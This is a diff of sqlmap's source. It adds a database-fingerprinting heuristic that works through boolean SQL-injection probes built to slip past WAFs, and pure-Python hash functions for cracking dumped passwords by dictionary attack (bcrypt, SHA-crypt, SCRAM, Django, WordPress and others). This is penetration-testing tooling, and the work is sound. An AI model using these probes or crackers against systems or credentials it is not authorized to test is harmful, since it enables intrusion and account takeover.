__import__("httpx")
|
||||
debugMsg = "'httpx[http2]' third-party library is found"
|
||||
logger.debug(debugMsg)
|
||||
except ImportError:
|
||||
warnMsg = "sqlmap requires 'httpx[http2]' third-party library "
|
||||
warnMsg += "if you plan to use HTTP version 2"
|
||||
logger.warning(warnMsg)
|
||||
missing_libraries.add('httpx[http2]')
|
||||
|
||||
try:
|
||||
__import__("websocket._abnf")
|
||||
debugMsg = "'websocket-client' library is found"
|
||||
|
|
|
|||
|
|
@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression
|
|||
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
|
||||
# false positives. See PROVE_DESIGN.md.)
|
||||
#
|
||||
# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
|
||||
# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
|
||||
# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
|
||||
# anchor value 2:
|
||||
# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
|
||||
# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
|
||||
# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
|
||||
# (only measured signatures classify; anything else -> None). With anchor value 2:
|
||||
#
|
||||
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
|
||||
# vs no such operator (SQLite/Oracle/... -> error, so false)
|
||||
|
|
@ -52,57 +52,69 @@ DIALECT_PROBES = (
|
|||
("shift", "1<<2=4"),
|
||||
)
|
||||
|
||||
# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
|
||||
# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
|
||||
# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
|
||||
# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
|
||||
# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
|
||||
# meaningless signature. It uses a trailing-operator form, distinct from the '<n> <m>' no-operator
|
||||
# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
|
||||
DIALECT_CANARY = "2+"
|
||||
|
||||
# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
|
||||
# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
|
||||
# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
|
||||
# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
|
||||
# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
|
||||
_SIGNATURE_DBMS = {
|
||||
# xor pgpow intdiv bitor shift
|
||||
(True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
|
||||
(False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
|
||||
(False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
|
||||
(False, True, True, True, False): DBMS.PGSQL, # CrateDB
|
||||
(True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
|
||||
(True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
|
||||
(False, False, True, True, True): DBMS.SQLITE, # SQLite
|
||||
}
|
||||
|
||||
def _classify(signature):
|
||||
"""
|
||||
Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
|
||||
DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
|
||||
detection proceeds unchanged - the heuristic never wrong-foots the scan).
|
||||
Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
|
||||
through a strict whitelist of live-measured signatures, or returns None when the signature is not
|
||||
a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
|
||||
detection proceeds unchanged and the heuristic never wrong-foots the scan.
|
||||
|
||||
Rules below are the subset of the measured 11-engine truth table that maps with zero
|
||||
false positives. Engines whose operator profile is not distinctive enough (Oracle's
|
||||
all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
|
||||
a fully WAF-blocked channel also produces) deliberately fall through to None:
|
||||
|
||||
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
|
||||
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
|
||||
'MySQL'
|
||||
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
|
||||
>>> _classify((False, True, True, True, True)) # PostgreSQL
|
||||
'PostgreSQL'
|
||||
>>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
|
||||
'PostgreSQL'
|
||||
>>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
|
||||
'PostgreSQL'
|
||||
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
|
||||
'Microsoft SQL Server'
|
||||
>>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<')
|
||||
>>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
|
||||
'MonetDB'
|
||||
>>> _classify((False, True, True, True, False)) # PostgreSQL
|
||||
'PostgreSQL'
|
||||
>>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family
|
||||
'PostgreSQL'
|
||||
>>> _classify((False, False, True, True, True)) # SQLite
|
||||
>>> _classify((False, False, True, True, True)) # SQLite
|
||||
'SQLite'
|
||||
>>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
|
||||
>>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
|
||||
True
|
||||
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
|
||||
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
|
||||
True
|
||||
>>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
|
||||
True
|
||||
"""
|
||||
|
||||
xor, pgpow, intdiv, bitor, shift = signature
|
||||
|
||||
if pgpow: # '^' is exponentiation -> PostgreSQL family
|
||||
return DBMS.PGSQL
|
||||
if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ...
|
||||
# ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
|
||||
# ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
|
||||
return DBMS.MONETDB if shift else DBMS.MSSQL
|
||||
if xor and not intdiv: # '^' is XOR AND real division -> MySQL family
|
||||
return DBMS.MYSQL
|
||||
if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite
|
||||
return DBMS.SQLITE
|
||||
|
||||
return None
|
||||
return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
|
||||
|
||||
def dialectCheckDbms(injection):
|
||||
"""
|
||||
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
|
||||
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
|
||||
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
|
||||
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
|
||||
WAF-blocked channel yields None, leaving the scan unchanged.
|
||||
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
|
||||
WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
|
@ -114,9 +126,12 @@ def dialectCheckDbms(injection):
|
|||
kb.injection = injection
|
||||
|
||||
try:
|
||||
# channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
|
||||
# boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
|
||||
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
|
||||
# Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
|
||||
# and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
|
||||
# fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
|
||||
# is proof the oracle is trash, so classification is skipped (a true negative) instead of
|
||||
# emitting a bogus DBMS from a meaningless signature.
|
||||
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
|
||||
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
|
||||
retVal = _classify(signature)
|
||||
finally:
|
||||
|
|
|
|||
|
|
@ -19,19 +19,27 @@ except:
|
|||
from thirdparty.pydes.pyDes import CBC
|
||||
from thirdparty.pydes.pyDes import des
|
||||
|
||||
try:
|
||||
from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6)
|
||||
except ImportError:
|
||||
_scrypt = None
|
||||
|
||||
_multiprocessing = None
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import gc
|
||||
import hmac
|
||||
import math
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import tempfile
|
||||
import time
|
||||
import zipfile
|
||||
|
||||
from hashlib import md5
|
||||
from hashlib import pbkdf2_hmac
|
||||
from hashlib import sha1
|
||||
from hashlib import sha224
|
||||
from hashlib import sha256
|
||||
|
|
@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False):
|
|||
|
||||
return retVal.upper() if uppercase else retVal.lower()
|
||||
|
||||
def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10'
|
||||
"""
|
||||
Reference(s):
|
||||
https://www.rfc-editor.org/rfc/rfc5803
|
||||
|
||||
>>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096)
|
||||
'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc='
|
||||
"""
|
||||
|
||||
salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations)
|
||||
stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest()
|
||||
server_key = hmac.new(salted, b"Server Key", sha256).digest()
|
||||
|
||||
return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key)))
|
||||
|
||||
def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
|
||||
"""
|
||||
Reference(s):
|
||||
|
|
@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
|||
|
||||
return getText(magic + salt + b'$' + getBytes(hash_))
|
||||
|
||||
# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests
|
||||
_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30))
|
||||
_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,))
|
||||
|
||||
def _shaCryptDigest(password, salt, rounds, digestmod, order):
|
||||
dsize = digestmod().digest_size
|
||||
|
||||
B = digestmod(password + salt + password).digest()
|
||||
|
||||
ctx = digestmod(password + salt)
|
||||
cnt = len(password)
|
||||
while cnt > dsize:
|
||||
ctx.update(B)
|
||||
cnt -= dsize
|
||||
ctx.update(B[:cnt])
|
||||
|
||||
i = len(password)
|
||||
while i:
|
||||
ctx.update(B if i & 1 else password)
|
||||
i >>= 1
|
||||
A = ctx.digest()
|
||||
|
||||
dp = digestmod()
|
||||
for _ in xrange(len(password)):
|
||||
dp.update(password)
|
||||
DP = dp.digest()
|
||||
P = DP * (len(password) // dsize) + DP[:len(password) % dsize]
|
||||
|
||||
ds = digestmod()
|
||||
for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))):
|
||||
ds.update(salt)
|
||||
DS = ds.digest()
|
||||
S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize]
|
||||
|
||||
C = A
|
||||
for i in xrange(rounds):
|
||||
c = digestmod()
|
||||
c.update(P if i & 1 else C)
|
||||
if i % 3:
|
||||
c.update(S)
|
||||
if i % 7:
|
||||
c.update(P)
|
||||
c.update(C if i & 1 else P)
|
||||
C = c.digest()
|
||||
|
||||
retVal = ""
|
||||
for group in order:
|
||||
value = 0
|
||||
for idx in group:
|
||||
value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx]))
|
||||
for _ in xrange((len(group) * 8 + 5) // 6):
|
||||
retVal += ITOA64[value & 0x3f]
|
||||
value >>= 6
|
||||
|
||||
return retVal
|
||||
|
||||
def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs):
|
||||
"""
|
||||
Reference(s):
|
||||
https://www.akkadia.org/drepper/SHA-crypt.txt
|
||||
|
||||
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$')
|
||||
'$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.'
|
||||
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$')
|
||||
'$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.'
|
||||
"""
|
||||
|
||||
rounds, saltstr = 5000, salt
|
||||
if salt.startswith("rounds="):
|
||||
prefix, saltstr = salt.split('$', 1)
|
||||
rounds = int(prefix[len("rounds="):])
|
||||
|
||||
order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512)
|
||||
digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order)
|
||||
|
||||
return "%s%s$%s" % (magic, salt, digest)
|
||||
|
||||
def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt)
|
||||
"""
|
||||
Reference(s):
|
||||
https://hashcat.net/wiki/doku.php?id=example_hashes
|
||||
|
||||
>>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*')
|
||||
'$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F'
|
||||
"""
|
||||
|
||||
digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER)
|
||||
|
||||
return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper())
|
||||
|
||||
# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
|
||||
BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
||||
|
||||
_bcryptState = None
|
||||
|
||||
def _bcryptInitState():
|
||||
global _bcryptState
|
||||
|
||||
if _bcryptState is None:
|
||||
count = 18 + 4 * 256
|
||||
ndigits = count * 8
|
||||
prec = ndigits + 16
|
||||
one = 1 << (4 * prec)
|
||||
|
||||
def _arctan(inv):
|
||||
total = term = one // inv
|
||||
square = inv * inv
|
||||
i = 1
|
||||
while term:
|
||||
term //= square
|
||||
total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
|
||||
i += 1
|
||||
return total
|
||||
|
||||
frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
|
||||
hexstr = "%0*x" % (ndigits, frac)
|
||||
words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
|
||||
_bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
|
||||
|
||||
return _bcryptState
|
||||
|
||||
def _bcryptEncipher(P, S, L, R):
|
||||
for i in xrange(16):
|
||||
L ^= P[i]
|
||||
R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
|
||||
L, R = R, L
|
||||
L, R = R, L
|
||||
return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
|
||||
|
||||
def _bcryptStream(data, offset):
|
||||
word = 0
|
||||
for _ in xrange(4):
|
||||
word = ((word << 8) | data[offset[0]]) & 0xffffffff
|
||||
offset[0] = (offset[0] + 1) % len(data)
|
||||
return word
|
||||
|
||||
def _bcryptExpand(P, S, data, key):
|
||||
koffset = [0]
|
||||
for i in xrange(18):
|
||||
P[i] ^= _bcryptStream(key, koffset)
|
||||
|
||||
doffset = [0]
|
||||
L = R = 0
|
||||
for i in xrange(0, 18, 2):
|
||||
if data:
|
||||
L ^= _bcryptStream(data, doffset)
|
||||
R ^= _bcryptStream(data, doffset)
|
||||
L, R = _bcryptEncipher(P, S, L, R)
|
||||
P[i], P[i + 1] = L, R
|
||||
|
||||
for b in xrange(4):
|
||||
for k in xrange(0, 256, 2):
|
||||
if data:
|
||||
L ^= _bcryptStream(data, doffset)
|
||||
R ^= _bcryptStream(data, doffset)
|
||||
L, R = _bcryptEncipher(P, S, L, R)
|
||||
S[b][k], S[b][k + 1] = L, R
|
||||
|
||||
def _bcryptBase64(data):
|
||||
retVal = ""
|
||||
i = 0
|
||||
while i < len(data):
|
||||
c = data[i]; i += 1
|
||||
retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
|
||||
c = (c & 3) << 4
|
||||
if i >= len(data):
|
||||
retVal += BCRYPT_ITOA64[c & 0x3f]; break
|
||||
d = data[i]; i += 1
|
||||
retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
|
||||
c = (d & 0x0f) << 2
|
||||
if i >= len(data):
|
||||
retVal += BCRYPT_ITOA64[c & 0x3f]; break
|
||||
e = data[i]; i += 1
|
||||
retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
|
||||
retVal += BCRYPT_ITOA64[e & 0x3f]
|
||||
return retVal
|
||||
|
||||
def _bcryptUnbase64(value, length):
|
||||
retVal = bytearray()
|
||||
positions = [BCRYPT_ITOA64.index(_) for _ in value]
|
||||
i = 0
|
||||
while i < len(positions) and len(retVal) < length:
|
||||
c1 = positions[i]
|
||||
c2 = positions[i + 1] if i + 1 < len(positions) else 0
|
||||
retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
|
||||
if len(retVal) >= length:
|
||||
break
|
||||
c3 = positions[i + 2] if i + 2 < len(positions) else 0
|
||||
retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
|
||||
if len(retVal) >= length:
|
||||
break
|
||||
c4 = positions[i + 3] if i + 3 < len(positions) else 0
|
||||
retVal.append((((c3 & 3) << 6) | c4) & 0xff)
|
||||
i += 4
|
||||
return retVal[:length]
|
||||
|
||||
def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
|
||||
"""
|
||||
Reference(s):
|
||||
https://www.openwall.com/crypt/
|
||||
|
||||
>>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5)
|
||||
'$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
|
||||
"""
|
||||
|
||||
P0, S0 = _bcryptInitState()
|
||||
P, S = list(P0), [list(_) for _ in S0]
|
||||
|
||||
key = bytearray(getBytes(password) + b"\0")
|
||||
saltbytes = _bcryptUnbase64(salt, 16)
|
||||
|
||||
_bcryptExpand(P, S, saltbytes, key)
|
||||
for _ in xrange(1 << cost):
|
||||
_bcryptExpand(P, S, b"", key)
|
||||
_bcryptExpand(P, S, b"", saltbytes)
|
||||
|
||||
ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
|
||||
for _ in xrange(64):
|
||||
for j in xrange(0, 6, 2):
|
||||
ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
|
||||
|
||||
digest = bytearray(struct.pack(">6I", *ctext))[:23]
|
||||
|
||||
return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest))
|
||||
|
||||
def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))'
|
||||
"""
|
||||
Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/
|
||||
|
||||
>>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10)
|
||||
'$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW'
|
||||
"""
|
||||
|
||||
prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest()))
|
||||
|
||||
return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost)
|
||||
|
||||
def joomla_passwd(password, salt, **kwargs):
|
||||
"""
|
||||
Reference: https://stackoverflow.com/a/10428239
|
||||
|
|
@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs):
|
|||
|
||||
return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest())
|
||||
|
||||
def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs):
|
||||
"""
|
||||
Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py
|
||||
|
||||
>>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000)
|
||||
'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI='
|
||||
"""
|
||||
|
||||
dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations)
|
||||
|
||||
return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk)))
|
||||
|
||||
def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs):
|
||||
"""
|
||||
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
|
||||
|
||||
>>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256')
|
||||
'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2'
|
||||
"""
|
||||
|
||||
dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations)
|
||||
|
||||
return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False)))
|
||||
|
||||
def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs):
|
||||
"""
|
||||
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
|
||||
|
||||
>>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
|
||||
'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
|
||||
"""
|
||||
|
||||
dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024)
|
||||
|
||||
return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False)))
|
||||
|
||||
def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs):
|
||||
"""
|
||||
Reference(s):
|
||||
https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs
|
||||
|
||||
>>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32)
|
||||
'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA=='
|
||||
"""
|
||||
|
||||
subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen)
|
||||
blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey
|
||||
|
||||
return getText(base64.b64encode(blob))
|
||||
|
||||
def vbulletin_passwd(password, salt, **kwargs):
|
||||
"""
|
||||
Reference: https://stackoverflow.com/a/2202810
|
||||
|
|
@ -560,6 +870,8 @@ __functions__ = {
|
|||
HASH.MYSQL: mysql_passwd,
|
||||
HASH.MYSQL_OLD: mysql_old_passwd,
|
||||
HASH.POSTGRES: postgres_passwd,
|
||||
HASH.POSTGRES_SCRAM: postgres_scram_passwd,
|
||||
HASH.MYSQL_SHA2: mysql_sha2_passwd,
|
||||
HASH.MSSQL: mssql_passwd,
|
||||
HASH.MSSQL_OLD: mssql_old_passwd,
|
||||
HASH.MSSQL_NEW: mssql_new_passwd,
|
||||
|
|
@ -572,9 +884,16 @@ __functions__ = {
|
|||
HASH.SHA384_GENERIC: sha384_generic_passwd,
|
||||
HASH.SHA512_GENERIC: sha512_generic_passwd,
|
||||
HASH.CRYPT_GENERIC: crypt_generic_passwd,
|
||||
HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd,
|
||||
HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd,
|
||||
HASH.BCRYPT: bcrypt_passwd,
|
||||
HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd,
|
||||
HASH.JOOMLA: joomla_passwd,
|
||||
HASH.DJANGO_MD5: django_md5_passwd,
|
||||
HASH.DJANGO_SHA1: django_sha1_passwd,
|
||||
HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd,
|
||||
HASH.ASPNET_IDENTITY: aspnet_identity_passwd,
|
||||
HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd,
|
||||
HASH.PHPASS: phpass_passwd,
|
||||
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
||||
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
||||
|
|
@ -591,6 +910,14 @@ __functions__ = {
|
|||
HASH.SHA512_BASE64: sha512_generic_passwd,
|
||||
}
|
||||
|
||||
if _scrypt is not None:
|
||||
__functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd
|
||||
|
||||
# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools
|
||||
HASH_TOOL_HINTS = {
|
||||
HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')",
|
||||
}
|
||||
|
||||
def _finalize(retVal, results, processes, attack_info=None):
|
||||
if _multiprocessing:
|
||||
gc.enable()
|
||||
|
|
@ -898,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
|||
pass
|
||||
|
||||
finally:
|
||||
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
|
||||
if hasattr(proc_count, "value"):
|
||||
with proc_count.get_lock():
|
||||
proc_count.value -= 1
|
||||
|
|
@ -977,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
|||
pass
|
||||
|
||||
finally:
|
||||
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
|
||||
if hasattr(proc_count, "value"):
|
||||
with proc_count.get_lock():
|
||||
proc_count.value -= 1
|
||||
|
|
@ -1023,9 +1352,14 @@ def dictionaryAttack(attack_dict):
|
|||
regex = hashRecognition(hash_)
|
||||
|
||||
if regex and regex not in hash_regexes:
|
||||
hash_regexes.append(regex)
|
||||
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
|
||||
logger.info(infoMsg)
|
||||
if regex in __functions__:
|
||||
hash_regexes.append(regex)
|
||||
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash")
|
||||
warnMsg += "built-in dictionary attack"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
for hash_regex in hash_regexes:
|
||||
keys = set()
|
||||
|
|
@ -1043,7 +1377,7 @@ def dictionaryAttack(attack_dict):
|
|||
try:
|
||||
item = None
|
||||
|
||||
